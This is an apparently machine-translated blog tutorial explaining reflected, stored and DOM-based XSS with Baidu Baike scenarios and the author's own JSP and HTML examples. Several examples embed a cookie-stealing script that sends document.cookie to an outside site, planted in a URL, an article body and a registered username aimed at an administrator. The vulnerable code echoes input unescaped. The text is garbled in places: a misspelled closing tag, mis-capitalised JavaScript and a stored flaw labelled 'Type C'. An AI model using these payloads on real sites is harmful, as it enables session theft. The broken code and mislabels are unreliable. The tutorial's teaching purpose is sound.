First. Introduction to
XSS
The full name of XSS attack is Cross Site Scripting, which is not to be confused with Cascading Style Sheets (CSS) abbreviation, so cross-site scripting attack is abbreviated as XSS. XSS is a computer used in web applications. Security vulnerabilities, which allow malicious web users to implant code into pages that are provided to other users.
XSS vulnerabilities are the same as the famous SQL injection, which exploits the imperfect writing of web pages. Using xss attacks can steal user passwords, force users to visit specific websites, and so on.
Second,
XSS classification
1. Can be divided into persistent and non-persistent. As the name suggests, non-persistent xss attacks are one-off and only affect the current page access. The non-persistent xss attack requires the user to access a link that has been tampered with by the attacker. When the user visits the link, the implanted attack script is executed by the user's browser to achieve the purpose of the attack.
2. It can also be divided into
Type A. Reflective: through the back end, not through the database
Type B. Storage type: After the backend, after the database
Type C.DOM: Do not go through the back end, DOM-based XSS vulnerability is a vulnerability based on the Document Object Model (DOM), dom-xss is triggered by passing parameters in the URL.
Type A, reflection vulnerability, when the Web client uses the server-side script to generate the page to provide data to the user, if the unauthenticated user data is included in the page without HTML entity encoding, the client code can be injected into the dynamic page in. The attack process is as follows:
Baidu Baike example:
Alice often browses a certain website, which is owned by Bob. Bob's site runs Alice using a username/password to log in and stores sensitive information (such as bank account information).
Charly discovered that Bob’s site contained a reflective XSS vulnerability.
Charly writes a URL to exploit the vulnerability and sends it to Alice as a mail from Bob.
After logging in to Bob’s site, Alice browses the URL provided by Charly.
The malicious script embedded in the URL is executed in Alice's browser as if it came directly from Bob's server. This script steals sensitive information (authorization, credit card, account information, etc.) and then sends this information to Charly's Web site without Alice's knowledge.
My own small case:
When passing parameters, directly display the parameters input by the user
1 <body>
2 <form action="" method="get">
3 <input type="text" name="xss"/>
4 <input type="submit" value="test"/>
5 </form>
6 <%=request.getParameter("xss") %>
7 </body>
xss attack was recognized and blocked by chrome browser, but IE could not
Of course it’s useless to play this, let’s look at this again
<script>alert(document.cookie);</script>
then look at this
<script>window.location.href='http://www.strangerthings.win/?cookie=' + document.cookie</scipt>
OK, the information in your cookeie has been successfully obtained to my website.
Type B, storage vulnerability. This type is the most widely used vulnerability that may affect the security of the Web server itself. Hackers upload the attack script to the Web server, making all users who visit the page face the possibility of information leakage. It also includes the administrator of the Web server. The attack process is as follows:
Baidu Baike example: Bob has a Web site that allows users to post information/browse the published information.
Charly noticed that Bob’s site has a Type C XSS vulnerability.
Charly released a hot message, attracting other users to read it.
Bob or any other person such as Alice browses the information, his session cookies or other information will be stolen by Charly.
Type A directly threatens individual users, while types B and C threaten all enterprise-level Web applications.
My own small case:
1. Assuming a website can publish articles for users to browse, I published an article, the article content contains the following code
<script>window.location.href='http://www.strangerthings.win/?cookie=' + document.cookie</scipt>
But neither the backend nor the front html tags are escaped. Whenever a user visits my article, their cookie will be sent to my website.
2. User registration, I registered a user name
Uername="<script>window.location.href='http://www.strangerthings.win/?cookie=' + document.cookie</scipt>"
Then when the background administrator checks the user in the background
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td >${user.name}</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>
was ruined, when my information was displayed, the administrator’s cookie information was sent to my website.
Type C, local exploit vulnerability, namely DOM, this vulnerability exists in the client script itself in the page.
Baidu Baike example: Alice sends Bob a URL that maliciously constructs the Web.
Bob clicked and checked the URL.
The JavaScript in the malicious page opens a vulnerable HTML page and installs it on Bob's computer.
The vulnerable HTML page contains JavaScript executed in the local domain of Bob's computer.
Alice's malicious script can execute commands under the permissions Bob holds on Bob's computer.
My own summary case:
Input at the front desk and output without checking.
<body>
<input type="text" id="xss" value="<script>alert('xss');</script>"/>
<div id="show"></div>
<script type="text/javascript">
Var text = document.getElementById("xss");
Var print = document.getElementById("show");
Show.innerHTML = text.value;
</script>
</body>
